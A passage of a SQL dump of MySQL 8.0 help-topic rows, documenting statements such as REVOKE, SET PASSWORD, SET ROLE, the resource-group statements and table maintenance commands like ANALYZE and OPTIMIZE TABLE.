to\nbe renamed is named as the DEFINER attribute for any stored object.\n(That is, the statement fails if renaming an account would cause a\nstored object to become orphaned.) To perform the operation anyway, you\nmust have the SET_USER_ID privilege; in this case, the statement\nsucceeds with a warning rather than failing with an error. For\nadditional information, including how to identify which objects name a\ngiven account as the DEFINER attribute, see\nhttps://dev.mysql.com/doc/refman/8.0/en/stored-objects-security.html#st\nored-objects-security-orphan-objects.\n\nEach account name uses the format described in\nhttps://dev.mysql.com/doc/refman/8.0/en/account-names.html. For\nexample:\n\nRENAME USER \'jeffrey\'@\'localhost\' TO \'jeff\'@\'127.0.0.1\';\n\nThe host name part of the account name, if omitted, defaults to \'%\'.\n\nRENAME USER causes the privileges held by the old user to be those held\nby the new user. However, RENAME USER does not automatically drop or\ninvalidate databases or objects within them that the old user created.\nThis includes stored programs or views for which the DEFINER attribute\nnames the old user. Attempts to access such objects may produce an\nerror if they execute in definer security context. (For information\nabout security context, see\nhttps://dev.mysql.com/doc/refman/8.0/en/stored-objects-security.html.)\n\nThe privilege changes take effect as indicated in\nhttps://dev.mysql.com/doc/refman/8.0/en/privilege-changes.html.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/rename-user.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/rename-user.html'),(619,'REVOKE',46,'Syntax:\nREVOKE [IF EXISTS]\n priv_type [(column_list)]\n [, priv_type [(column_list)]] ...\n ON [object_type] priv_level\n FROM user_or_role [, user_or_role] ...\n [IGNORE UNKNOWN USER]\n\nREVOKE [IF EXISTS] ALL [PRIVILEGES], GRANT OPTION\n FROM user_or_role [, user_or_role] ...\n [IGNORE UNKNOWN USER]\n\nREVOKE [IF EXISTS] PROXY ON user_or_role\n FROM user_or_role [, user_or_role] ...\n [IGNORE UNKNOWN USER]\n\nREVOKE [IF EXISTS] role [, role ] ...\n FROM user_or_role [, user_or_role ] ...\n [IGNORE UNKNOWN USER]\n\nuser_or_role: {\n user (see https://dev.mysql.com/doc/refman/8.0/en/account-names.html)\n | role (see https://dev.mysql.com/doc/refman/8.0/en/role-names.html\n}\n\nThe REVOKE statement enables system administrators to revoke privileges\nand roles, which can be revoked from user accounts and roles.\n\nFor details on the levels at which privileges exist, the permissible\npriv_type, priv_level, and object_type values, and the syntax for\nspecifying users and passwords, see [HELP GRANT].\n\nFor information about roles, see\nhttps://dev.mysql.com/doc/refman/8.0/en/roles.html.\n\nWhen the read_only system variable is enabled, REVOKE requires the\nCONNECTION_ADMIN or privilege (or the deprecated SUPER privilege), in\naddition to any other required privileges described in the following\ndiscussion.\n\nBeginning with MySQL 8.0.30, all the forms shown for REVOKE support an\nIF EXISTS option as well as an IGNORE UNKNOWN USER option. With neither\nof these modifications, REVOKE either succeeds for all named users and\nroles, or rolls back and has no effect if any error occurs; the\nstatement is written to the binary log only if it succeeds for all\nnamed users and roles. The precise effects of IF EXISTS and IGNORE\nUNKNOWN USER are discussed later in this section.\n\nEach account name uses the format described in\nhttps://dev.mysql.com/doc/refman/8.0/en/account-names.html. Each role\nname uses the format described in\nhttps://dev.mysql.com/doc/refman/8.0/en/role-names.html. For example:\n\nREVOKE INSERT ON *.* FROM \'jeffrey\'@\'localhost\';\nREVOKE \'role1\', \'role2\' FROM \'user1\'@\'localhost\', \'user2\'@\'localhost\';\nREVOKE SELECT ON world.* FROM \'role3\';\n\nThe host name part of the account or role name, if omitted, defaults to\n\'%\'.\n\nTo use the first REVOKE syntax, you must have the GRANT OPTION\nprivilege, and you must have the privileges that you are revoking.\n\nTo revoke all privileges, use the second syntax, which drops all\nglobal, database, table, column, and routine privileges for the named\nusers or roles:\n\nREVOKE ALL PRIVILEGES, GRANT OPTION\n FROM user_or_role [, user_or_role] ...\n\nREVOKE ALL PRIVILEGES, GRANT OPTION does not revoke any roles.\n\nTo use this REVOKE syntax, you must have the global CREATE USER\nprivilege, or the UPDATE privilege for the mysql system schema.\n\nThe syntax for which the REVOKE keyword is followed by one or more role\nnames takes a FROM clause indicating one or more users or roles from\nwhich to revoke the roles.\n\nThe IF EXISTS and IGNORE UNKNOWN USER options (MySQL 8.0.30 and later)\nhave the effects listed here:\n\no IF EXISTS means that, if the target user or role exists but no such\n privilege or role is found assigned to the target for any reason, a\n warning is raised, instead of an error; if no privilege or role named\n by the statement is assigned to the target, the statement has no\n (other) effect. Otherwise, REVOKE executes normally; if the user does\n not exist, the statement raises an error.\n\n Example: Given table t1 in database test, we execute the following\n statements, with the results shown.\n\nmysql> CREATE USER jerry@localhost;\nQuery OK, 0 rows affected (0.01 sec)\n\nmysql> REVOKE SELECT ON test.t1 FROM jerry@localhost;\nERROR 1147 (42000): There is no such grant defined for user \'jerry\' on host\n\'localhost\' on table \'t1\' \nmysql> REVOKE IF EXISTS SELECT ON test.t1 FROM jerry@localhost;\nQuery OK, 0 rows affected, 1 warning (0.00 sec)\n\nmysql> SHOW WARNINGS\\G\n*************************** 1. row ***************************\n Level: Warning\n Code: 1147\nMessage: There is no such grant defined for user \'jerry\' on host \'localhost\' on\ntable \'t1\' \n1 row in set (0.00 sec)\n\n IF EXISTS causes an error to be demoted to a warning even if the\n privilege or role named does not exist, or the statement attempts to\n assign it at the wrong level.\n\no If the REVOKE statement includes IGNORE UNKNOWN USER, the statement\n raises a warning for any target user or role named in the statement\n but not found; if no target named by the statement exists, REVOKE\n succeeds but has no actual effect. Otherwise, the statement executes\n as usual, and attempting to revoke a privilege not assigned to the\n target for whatever reason raises an error, as expected.\n\n Example (continuing from the previous example):\n\nmysql> DROP USER IF EXISTS jerry@localhost;\nQuery OK, 0 rows affected (0.01 sec)\n\nmysql> REVOKE SELECT ON test.t1 FROM jerry@localhost;\nERROR 1147 (42000): There is no such grant defined for user \'jerry\' on host\n\'localhost\' on table \'t1\' \nmysql> REVOKE SELECT ON test.t1 FROM jerry@localhost IGNORE UNKNOWN USER;\nQuery OK, 0 rows affected, 1 warning (0.01 sec)\n\nmysql> SHOW WARNINGS\\G\n*************************** 1. row ***************************\n Level: Warning\n Code: 3162\nMessage: Authorization ID jerry does not exist.\n1 row in set (0.00 sec)\n\no The combination of IF EXISTS and IGNORE UNKNOWN USER means that\n REVOKE never raises an error for an unknown target user or role or\n for an unassigned or unavailable privilege, and the statement as\n whole in such cases succeeds; roles or privileges are removed from\n existing target users or roles whenever possible, and any revocation\n which is not possible raises a warning and executes as a NOOP.\n\n Example (again continuing from example in the previous item):\n\n# No such user, no such role\nmysql> DROP ROLE IF EXISTS Bogus;\nQuery OK, 0 rows affected, 1 warning (0.02 sec)\n\nmysql> SHOW WARNINGS;\n+-------+------+----------------------------------------------+\n| Level | Code | Message |\n+-------+------+----------------------------------------------+\n| Note | 3162 | Authorization ID \'Bogus\'@\'%\' does not exist. |\n+-------+------+----------------------------------------------+\n1 row in set (0.00 sec)\n\n# This statement attempts to revoke a nonexistent role from a nonexistent user\nmysql> REVOKE Bogus ON test FROM jerry@localhost;\nERROR 3619 (HY000): Illegal privilege level specified for test\n\n# The same, with IF EXISTS\nmysql> REVOKE IF EXISTS Bogus ON test FROM jerry@localhost;\nERROR 1147 (42000): There is no such grant defined for user \'jerry\' on host\n\'localhost\' on table \'test\' \n\n# The same, with IGNORE UNKNOWN USER\nmysql> REVOKE Bogus ON test FROM jerry@localhost IGNORE UNKNOWN USER;\nERROR 3619 (HY000): Illegal privilege level specified for test\n\n# The same, with both options\nmysql> REVOKE IF EXISTS Bogus ON test FROM jerry@localhost IGNORE UNKNOWN USER;\nQuery OK, 0 rows affected, 2 warnings (0.01 sec)\n\nmysql> SHOW WARNINGS;\n+---------+------+--------------------------------------------+\n| Level | Code | Message |\n+---------+------+--------------------------------------------+\n| Warning | 3619 | Illegal privilege level specified for test |\n| Warning | 3162 | Authorization ID jerry does not exist. |\n+---------+------+--------------------------------------------+\n2 rows in set (0.00 sec)\n\nRoles named in the mandatory_roles system variable value cannot be\nrevoked. When IF EXISTS and IGNORE UNKNOWN USER are used together in a\nstatement that tries to remove a mandatory privilege, the error\nnormally raised by attempting to do this is demoted to a warning; the\nstatement executes successfully, but does not make any changes.\n\nA revoked role immediately affects any user account from which it was\nrevoked, such that within any current session for the account, its\nprivileges are adjusted for the next statement executed.\n\nRevoking a role revokes the role itself, not the privileges that it\nrepresents. Suppose that an account is granted a role that includes a\ngiven privilege, and is also granted the privilege explicitly or\nanother role that includes the privilege. In this case, the account\nstill possesses that privilege if the first role is revoked. For\nexample, if an account is granted two roles that each include SELECT,\nthe account still can select after either role is revoked.\n\nREVOKE ALL ON *.* (at the global level) revokes all granted static\nglobal privileges and all granted dynamic privileges.\n\nA revoked privilege that is granted but not known to the server is\nrevoked with a warning. This situation can occur for dynamic\nprivileges. For example, a dynamic privilege can be granted while the\ncomponent that registers it is installed, but if that component is\nsubsequently uninstalled, the privilege becomes unregistered, although\naccounts that possess the privilege still possess it and it can be\nrevoked from them.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/revoke.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/revoke.html'),(620,'SET DEFAULT ROLE',46,'Syntax:\nSET DEFAULT ROLE\n {NONE | ALL | role [, role ] ...}\n TO user [, user ] ...\n\nFor each user named immediately after the TO keyword, this statement\ndefines which roles become active when the user connects to the server\nand authenticates, or when the user executes the SET ROLE DEFAULT\nstatement during a session.\n\nSET DEFAULT ROLE is alternative syntax for ALTER USER ... DEFAULT ROLE\n(see [HELP ALTER USER]). However, ALTER USER can set the default for\nonly a single user, whereas SET DEFAULT ROLE can set the default for\nmultiple users. On the other hand, you can specify CURRENT_USER as the\nuser name for the ALTER USER statement, whereas you cannot for SET\nDEFAULT ROLE.\n\nSET DEFAULT ROLE requires these privileges:\n\no Setting the default roles for another user requires the global CREATE\n USER privilege, or the UPDATE privilege for the mysql.default_roles\n system table.\n\no Setting the default roles for yourself requires no special\n privileges, as long as the roles you want as the default have been\n granted to you.\n\nEach role name uses the format described in\nhttps://dev.mysql.com/doc/refman/8.0/en/role-names.html. For example:\n\nSET DEFAULT ROLE \'admin\', \'developer\' TO \'joe\'@\'10.0.0.1\';\n\nThe host name part of the role name, if omitted, defaults to \'%\'.\n\nThe clause following the DEFAULT ROLE keywords permits these values:\n\no NONE: Set the default to NONE (no roles).\n\no ALL: Set the default to all roles granted to the account.\n\no role [, role ] ...: Set the default to the named roles, which must\n exist and be granted to the account at the time SET DEFAULT ROLE is\n executed.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/set-default-role.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/set-default-role.html'),(621,'SET PASSWORD',46,'Syntax:\nSET PASSWORD [FOR user] auth_option\n [REPLACE \'current_auth_string\']\n [RETAIN CURRENT PASSWORD]\n\nauth_option: {\n = \'auth_string\'\n | TO RANDOM\n}\n\nThe SET PASSWORD statement assigns a password to a MySQL user account.\nThe password may be either explicitly specified in the statement or\nrandomly generated by MySQL. The statement may also include a\npassword-verification clause that specifies the account current\npassword to be replaced, and a clause that manages whether an account\nhas a secondary password. \'auth_string\' and \'current_auth_string\' each\nrepresent a cleartext (unencrypted) password.\n\n*Note*:\n\nRather than using SET PASSWORD to assign passwords, ALTER USER is the\npreferred statement for account alterations, including assigning\npasswords. For example:\n\nALTER USER user IDENTIFIED BY \'auth_string\';\n\n*Note*:\n\nClauses for random password generation, password verification, and\nsecondary passwords apply only to accounts that use an authentication\nplugin that stores credentials internally to MySQL. For accounts that\nuse a plugin that performs authentication against a credentials system\nthat is external to MySQL, password management must be handled\nexternally against that system as well. For more information about\ninternal credentials storage, see\nhttps://dev.mysql.com/doc/refman/8.0/en/password-management.html.\n\nThe REPLACE \'current_auth_string\' clause performs password verification\nand is available as of MySQL 8.0.13. If given:\n\no REPLACE specifies the account current password to be replaced, as a\n cleartext (unencrypted) string.\n\no The clause must be given if password changes for the account are\n required to specify the current password, as verification that the\n user attempting to make the change actually knows the current\n password.\n\no The clause is optional if password changes for the account may but\n need not specify the current password.\n\no The statement fails if the clause is given but does not match the\n current password, even if the clause is optional.\n\no REPLACE can be specified only when changing the account password for\n the current user.\n\nFor more information about password verification by specifying the\ncurrent password, see\nhttps://dev.mysql.com/doc/refman/8.0/en/password-management.html.\n\nThe RETAIN CURRENT PASSWORD clause implements dual-password capability\nand is available as of MySQL 8.0.14. If given:\n\no RETAIN CURRENT PASSWORD retains an account current password as its\n secondary password, replacing any existing secondary password. The\n new password becomes the primary password, but clients can use the\n account to connect to the server using either the primary or\n secondary password. (Exception: If the new password specified by the\n SET PASSWORD statement is empty, the secondary password becomes empty\n as well, even if RETAIN CURRENT PASSWORD is given.)\n\no If you specify RETAIN CURRENT PASSWORD for an account that has an\n empty primary password, the statement fails.\n\no If an account has a secondary password and you change its primary\n password without specifying RETAIN CURRENT PASSWORD, the secondary\n password remains unchanged.\n\nFor more information about use of dual passwords, see\nhttps://dev.mysql.com/doc/refman/8.0/en/password-management.html.\n\nSET PASSWORD permits these auth_option syntaxes:\n\no = \'auth_string\'\n\n Assigns the account the given literal password.\n\no TO RANDOM\n\n Assigns the account a password randomly generated by MySQL. The\n statement also returns the cleartext password in a result set to make\n it available to the user or application executing the statement.\n\n For details about the result set and characteristics of randomly\n generated passwords, see\n https://dev.mysql.com/doc/refman/8.0/en/password-management.html#rand\n om-password-generation.\n\n Random password generation is available as of MySQL 8.0.18.\n\n*Important*:\n\nUnder some circumstances, SET PASSWORD may be recorded in server logs\nor on the client side in a history file such as ~/.mysql_history, which\nmeans that cleartext passwords may be read by anyone having read access\nto that information. For information about the conditions under which\nthis occurs for the server logs and how to control it, see\nhttps://dev.mysql.com/doc/refman/8.0/en/password-logging.html. For\nsimilar information about client-side logging, see\nhttps://dev.mysql.com/doc/refman/8.0/en/mysql-logging.html.\n\nSET PASSWORD can be used with or without a FOR clause that explicitly\nnames a user account:\n\no With a FOR user clause, the statement sets the password for the named\n account, which must exist:\n\nSET PASSWORD FOR \'jeffrey\'@\'localhost\' = \'auth_string\';\n\no With no FOR user clause, the statement sets the password for the\n current user:\n\nSET PASSWORD = \'auth_string\';\n\n Any client who connects to the server using a nonanonymous account\n can change the password for that account. (In particular, you can\n change your own password.) To see which account the server\n authenticated you as, invoke the CURRENT_USER() function:\n\nSELECT CURRENT_USER();\n\nIf a FOR user clause is given, the account name uses the format\ndescribed in\nhttps://dev.mysql.com/doc/refman/8.0/en/account-names.html. For\nexample:\n\nSET PASSWORD FOR \'bob\'@\'%.example.org\' = \'auth_string\';\n\nThe host name part of the account name, if omitted, defaults to \'%\'.\n\nSET PASSWORD interprets the string as a cleartext string, passes it to\nthe authentication plugin associated with the account, and stores the\nresult returned by the plugin in the account row in the mysql.user\nsystem table. (The plugin is given the opportunity to hash the value\ninto the encryption format it expects. The plugin may use the value as\nspecified, in which case no hashing occurs.)\n\nSetting the password for a named account (with a FOR clause) requires\nthe UPDATE privilege for the mysql system schema. Setting the password\nfor yourself (for a nonanonymous account with no FOR clause) requires\nno special privileges.\n\nStatements that modify secondary passwords require these privileges:\n\no The APPLICATION_PASSWORD_ADMIN privilege is required to use the\n RETAIN CURRENT PASSWORD clause for SET PASSWORD statements that apply\n to your own account. The privilege is required to manipulate your own\n secondary password because most users require only one password.\n\no If an account is to be permitted to manipulate secondary passwords\n for all accounts, it should be granted the CREATE USER privilege\n rather than APPLICATION_PASSWORD_ADMIN.\n\nWhen the read_only system variable is enabled, SET PASSWORD requires\nthe CONNECTION_ADMIN privilege (or the deprecated SUPER privilege), in\naddition to any other required privileges.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/set-password.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/set-password.html'),(622,'SET ROLE',46,'Syntax:\nSET ROLE {\n DEFAULT\n | NONE\n | ALL\n | ALL EXCEPT role [, role ] ...\n | role [, role ] ...\n}\n\nSET ROLE modifies the current user\'s effective privileges within the\ncurrent session by specifying which of its granted roles are active.\nGranted roles include those granted explicitly to the user and those\nnamed in the mandatory_roles system variable value.\n\nExamples:\n\nSET ROLE DEFAULT;\nSET ROLE \'role1\', \'role2\';\nSET ROLE ALL;\nSET ROLE ALL EXCEPT \'role1\', \'role2\';\n\nEach role name uses the format described in\nhttps://dev.mysql.com/doc/refman/8.0/en/role-names.html. The host name\npart of the role name, if omitted, defaults to \'%\'.\n\nPrivileges that the user has been granted directly (rather than through\nroles) remain unaffected by changes to the active roles.\n\nThe statement permits these role specifiers:\n\no DEFAULT: Activate the account default roles. Default roles are those\n specified with SET DEFAULT ROLE.\n\n When a user connects to the server and authenticates successfully,\n the server determines which roles to activate as the default roles.\n If the activate_all_roles_on_login system variable is enabled, the\n server activates all granted roles. Otherwise, the server executes\n SET ROLE DEFAULT implicitly. The server activates only default roles\n that can be activated. The server writes warnings to its error log\n for default roles that cannot be activated, but the client receives\n no warnings.\n\n If a user executes SET ROLE DEFAULT during a session, an error occurs\n if any default role cannot be activated (for example, if it does not\n exist or is not granted to the user). In this case, the current\n active roles are not changed.\n\no NONE: Set the active roles to NONE (no active roles).\n\no ALL: Activate all roles granted to the account.\n\no ALL EXCEPT role [, role ] ...: Activate all roles granted to the\n account except those named. The named roles need not exist or be\n granted to the account.\n\no role [, role ] ...: Activate the named roles, which must be granted\n to the account.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/set-role.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/set-role.html'),(623,'ALTER RESOURCE GROUP',46,'Syntax:\nALTER RESOURCE GROUP group_name\n [VCPU [=] vcpu_spec [, vcpu_spec] ...]\n [THREAD_PRIORITY [=] N]\n [ENABLE|DISABLE [FORCE]]\n\nvcpu_spec: {N | M - N}\n\nALTER RESOURCE GROUP is used for resource group management (see\nhttps://dev.mysql.com/doc/refman/8.0/en/resource-groups.html). This\nstatement alters modifiable attributes of an existing resource group.\nIt requires the RESOURCE_GROUP_ADMIN privilege.\n\ngroup_name identifies which resource group to alter. If the group does\nnot exist, an error occurs.\n\nThe attributes for CPU affinity, priority, and whether the group is\nenabled can be modified with ALTER RESOURCE GROUP. These attributes are\nspecified the same way as described for CREATE RESOURCE GROUP (see\n[HELP CREATE RESOURCE GROUP]). Only the attributes specified are\naltered. Unspecified attributes retain their current values.\n\nThe FORCE modifier is used with DISABLE. It determines statement\nbehavior if the resource group has any threads assigned to it:\n\no If FORCE is not given, existing threads in the group continue to run\n until they terminate, but new threads cannot be assigned to the\n group.\n\no If FORCE is given, existing threads in the group are moved to their\n respective default group (system threads to SYS_default, user threads\n to USR_default).\n\nThe name and type attributes are set at group creation time and cannot\nbe modified thereafter with ALTER RESOURCE GROUP.\n\nExamples:\n\no Alter a group CPU affinity:\n\nALTER RESOURCE GROUP rg1 VCPU = 0-63;\n\no Alter a group thread priority:\n\nALTER RESOURCE GROUP rg2 THREAD_PRIORITY = 5;\n\no Disable a group, moving any threads assigned to it to the default\n groups:\n\nALTER RESOURCE GROUP rg3 DISABLE FORCE;\n\nResource group management is local to the server on which it occurs.\nALTER RESOURCE GROUP statements are not written to the binary log and\nare not replicated.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/alter-resource-group.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/alter-resource-group.html'),(624,'CREATE RESOURCE GROUP',46,'Syntax:\nCREATE RESOURCE GROUP group_name\n TYPE = {SYSTEM|USER}\n [VCPU [=] vcpu_spec [, vcpu_spec] ...]\n [THREAD_PRIORITY [=] N]\n [ENABLE|DISABLE]\n\nvcpu_spec: {N | M - N}\n\nCREATE RESOURCE GROUP is used for resource group management (see\nhttps://dev.mysql.com/doc/refman/8.0/en/resource-groups.html). This\nstatement creates a new resource group and assigns its initial\nattribute values. It requires the RESOURCE_GROUP_ADMIN privilege.\n\ngroup_name identifies which resource group to create. If the group\nalready exists, an error occurs.\n\nThe TYPE attribute is required. It should be SYSTEM for a system\nresource group, USER for a user resource group. The group type affects\npermitted THREAD_PRIORITY values, as described later.\n\nThe VCPU attribute indicates the CPU affinity; that is, the set of\nvirtual CPUs the group can use:\n\no If VCPU is not given, the resource group has no CPU affinity and can\n use all available CPUs.\n\no If VCPU is given, the attribute value is a list of comma-separated\n CPU numbers or ranges:\n\n o Each number must be an integer in the range from 0 to the number of\n CPUs − 1. For example, on a system with 64 CPUs, the number can\n range from 0 to 63.\n\n o A range is given in the form M − N, where M is less than or equal\n to N and both numbers are in the CPU range.\n\n o If a CPU number is an integer outside the permitted range or is not\n an integer, an error occurs.\n\nExample VCPU specifiers (these are all equivalent):\n\nVCPU = 0,1,2,3,9,10\nVCPU = 0-3,9-10\nVCPU = 9,10,0-3\nVCPU = 0,10,1,9,3,2\n\nThe THREAD_PRIORITY attribute indicates the priority for threads\nassigned to the group:\n\no If THREAD_PRIORITY is not given, the default priority is 0.\n\no If THREAD_PRIORITY is given, the attribute value must be in the range\n from -20 (highest priority) to 19 (lowest priority). The priority for\n system resource groups must be in the range from -20 to 0. The\n priority for user resource groups must be in the range from 0 to 19.\n Use of different ranges for system and user groups ensures that user\n threads never have a higher priority than system threads.\n\nENABLE and DISABLE specify that the resource group is initially enabled\nor disabled. If neither is specified, the group is enabled by default.\nA disabled group cannot have threads assigned to it.\n\nExamples:\n\no Create an enabled user group that has a single CPU and the lowest\n priority:\n\nCREATE RESOURCE GROUP rg1\n TYPE = USER\n VCPU = 0\n THREAD_PRIORITY = 19;\n\no Create a disabled system group that has no CPU affinity (can use all\n CPUs) and the highest priority:\n\nCREATE RESOURCE GROUP rg2\n TYPE = SYSTEM\n THREAD_PRIORITY = -20\n DISABLE;\n\nResource group management is local to the server on which it occurs.\nCREATE RESOURCE GROUP statements are not written to the binary log and\nare not replicated.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/create-resource-group.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/create-resource-group.html'),(625,'DROP RESOURCE GROUP',46,'Syntax:\nDROP RESOURCE GROUP group_name [FORCE]\n\nDROP RESOURCE GROUP is used for resource group management (see\nhttps://dev.mysql.com/doc/refman/8.0/en/resource-groups.html). This\nstatement drops a resource group. It requires the RESOURCE_GROUP_ADMIN\nprivilege.\n\ngroup_name identifies which resource group to drop. If the group does\nnot exist, an error occurs.\n\nThe FORCE modifier determines statement behavior if the resource group\nhas any threads assigned to it:\n\no If FORCE is not given and any threads are assigned to the group, an\n error occurs.\n\no If FORCE is given, existing threads in the group are moved to their\n respective default group (system threads to SYS_default, user threads\n to USR_default).\n\nExamples:\n\no Drop a group, failing if the group contains any threads:\n\nDROP RESOURCE GROUP rg1;\n\no Drop a group and move existing threads to the default groups:\n\nDROP RESOURCE GROUP rg2 FORCE;\n\nResource group management is local to the server on which it occurs.\nDROP RESOURCE GROUP statements are not written to the binary log and\nare not replicated.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/drop-resource-group.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/drop-resource-group.html'),(626,'SET RESOURCE GROUP',46,'Syntax:\nSET RESOURCE GROUP group_name\n [FOR thread_id [, thread_id] ...]\n\nSET RESOURCE GROUP is used for resource group management (see\nhttps://dev.mysql.com/doc/refman/8.0/en/resource-groups.html). This\nstatement assigns threads to a resource group. It requires the\nRESOURCE_GROUP_ADMIN or RESOURCE_GROUP_USER privilege.\n\ngroup_name identifies which resource group to be assigned. Any\nthread_id values indicate threads to assign to the group. Thread IDs\ncan be determined from the Performance Schema threads table. If the\nresource group or any named thread ID does not exist, an error occurs.\n\nWith no FOR clause, the statement assigns the current thread for the\nsession to the resource group.\n\nWith a FOR clause that names thread IDs, the statement assigns those\nthreads to the resource group.\n\nFor attempts to assign a system thread to a user resource group or a\nuser thread to a system resource group, a warning occurs.\n\nExamples:\n\no Assign the current session thread to a group:\n\nSET RESOURCE GROUP rg1;\n\no Assign the named threads to a group:\n\nSET RESOURCE GROUP rg2 FOR 14, 78, 4;\n\nResource group management is local to the server on which it occurs.\nSET RESOURCE GROUP statements are not written to the binary log and are\nnot replicated.\n\nAn alternative to SET RESOURCE GROUP is the RESOURCE_GROUP optimizer\nhint, which assigns individual statements to a resource group. See\nhttps://dev.mysql.com/doc/refman/8.0/en/optimizer-hints.html.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/set-resource-group.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/set-resource-group.html'),(627,'ANALYZE TABLE',47,'Syntax:\nANALYZE [NO_WRITE_TO_BINLOG | LOCAL]\n TABLE tbl_name [, tbl_name] ...\n\nANALYZE [NO_WRITE_TO_BINLOG | LOCAL]\n TABLE tbl_name\n UPDATE HISTOGRAM ON col_name [, col_name] ...\n [WITH N BUCKETS]\n\nANALYZE [NO_WRITE_TO_BINLOG | LOCAL] \n TABLE tbl_name\n UPDATE HISTOGRAM ON col_name [USING DATA \'json_data\']\n\nANALYZE [NO_WRITE_TO_BINLOG | LOCAL]\n TABLE tbl_name\n DROP HISTOGRAM ON col_name [, col_name] ...\n\nANALYZE TABLE generates table statistics:\n\no ANALYZE TABLE without any HISTOGRAM clause performs a key\n distribution analysis and stores the distribution for the named table\n or tables. For MyISAM tables, ANALYZE TABLE for key distribution\n analysis is equivalent to using myisamchk --analyze.\n\no ANALYZE TABLE with the UPDATE HISTOGRAM clause generates histogram\n statistics for the named table columns and stores them in the data\n dictionary. Only one table name is permitted for this syntax. MySQL\n 8.0.31 and later also supports setting the histogram of a single\n column to a user-defined JSON value.\n\no ANALYZE TABLE with the DROP HISTOGRAM clause removes histogram\n statistics for the named table columns from the data dictionary. Only\n one table name is permitted for this syntax.\n\nThis statement requires SELECT and INSERT privileges for the table.\n\nANALYZE TABLE works with InnoDB, NDB, and MyISAM tables. It does not\nwork with views.\n\nIf the innodb_read_only system variable is enabled, ANALYZE TABLE may\nfail because it cannot update statistics tables in the data dictionary,\nwhich use InnoDB. For ANALYZE TABLE operations that update the key\ndistribution, failure may occur even if the operation updates the table\nitself (for example, if it is a MyISAM table). To obtain the updated\ndistribution statistics, set information_schema_stats_expiry=0.\n\nANALYZE TABLE is supported for partitioned tables, and you can use\nALTER TABLE ... ANALYZE PARTITION to analyze one or more partitions;\nfor more information, see [HELP ALTER TABLE], and\nhttps://dev.mysql.com/doc/refman/8.0/en/partitioning-maintenance.html.\n\nDuring the analysis, the table is locked with a read lock for InnoDB\nand MyISAM.\n\nBy default, the server writes ANALYZE TABLE statements to the binary\nlog so that they replicate to replicas. To suppress logging, specify\nthe optional NO_WRITE_TO_BINLOG keyword or its alias LOCAL.\n\nPreviously, ANALYZE TABLE required a flush lock. This meant that, when\nthere were long running statements or transactions still using the\ntable when ANALYZE TABLE was invoked, any following statements and\ntransactions had to wait for those operations to finish before the\nflush lock could be released. This issue is resolved in MySQL 8.0.24\n(and later), where ANALYZE TABLE no longer causes subsequent operations\nto wait.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/analyze-table.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/analyze-table.html'),(628,'CHECK TABLE',47,'Syntax:\nCHECK TABLE tbl_name [, tbl_name] ... [option] ...\n\noption: {\n FOR UPGRADE\n | QUICK\n | FAST\n | MEDIUM\n | EXTENDED\n | CHANGED\n}\n\nCHECK TABLE checks a table or tables for errors. CHECK TABLE can also\ncheck views for problems, such as tables that are referenced in the\nview definition that no longer exist.\n\nTo check a table, you must have some privilege for it.\n\nCHECK TABLE works for InnoDB, MyISAM, ARCHIVE, and CSV tables.\n\nBefore running CHECK TABLE on InnoDB tables, see\nhttps://dev.mysql.com/doc/refman/8.0/en/check-table.html#check-table-in\nnodb.\n\nCHECK TABLE is supported for partitioned tables, and you can use ALTER\nTABLE ... CHECK PARTITION to check one or more partitions; for more\ninformation, see [HELP ALTER TABLE], and\nhttps://dev.mysql.com/doc/refman/8.0/en/partitioning-maintenance.html.\n\nCHECK TABLE ignores virtual generated columns that are not indexed.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/check-table.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/check-table.html'),(629,'CHECKSUM TABLE',47,'Syntax:\nCHECKSUM TABLE tbl_name [, tbl_name] ... [QUICK | EXTENDED]\n\nCHECKSUM TABLE reports a checksum for the contents of a table. You can\nuse this statement to verify that the contents are the same before and\nafter a backup, rollback, or other operation that is intended to put\nthe data back to a known state.\n\nThis statement requires the SELECT privilege for the table.\n\nThis statement is not supported for views. If you run CHECKSUM TABLE\nagainst a view, the Checksum value is always NULL, and a warning is\nreturned.\n\nFor a nonexistent table, CHECKSUM TABLE returns NULL and generates a\nwarning.\n\nDuring the checksum operation, the table is locked with a read lock for\nInnoDB and MyISAM.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/checksum-table.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/checksum-table.html'),(630,'OPTIMIZE TABLE',47,'Syntax:\nOPTIMIZE [NO_WRITE_TO_BINLOG | LOCAL]\n TABLE tbl_name [, tbl_name] ...\n\nOPTIMIZE TABLE reorganizes the physical storage of table data and\nassociated index data, to reduce storage space and improve I/O\nefficiency when accessing the table. The exact changes made to each\ntable depend on the storage engine used by that table.\n\nUse OPTIMIZE TABLE in these cases, depending on the type of table:\n\no After doing substantial insert, update, or delete operations on an\n InnoDB table that has its own .ibd file because it was created with\n the innodb_file_per_table option enabled. The table and indexes are\n reorganized, and disk space can be reclaimed for use by the operating\n system.\n\no After doing substantial insert, update, or delete operations on\n columns that are part of a FULLTEXT index in an InnoDB table. Set the\n configuration option innodb_optimize_fulltext_only=1 first. To keep\n the index maintenance period to a reasonable time, set the\n innodb_ft_num_word_optimize option to specify how many words to\n update in the search index, and run a sequence of OPTIMIZE TABLE\n statements until the search index is fully updated.\n\no After deleting a large part of a MyISAM or ARCHIVE table, or making\n many changes to a MyISAM or ARCHIVE table with variable-length rows\n (tables that have VARCHAR, VARBINARY, BLOB, or TEXT columns). Deleted\n rows are maintained in a 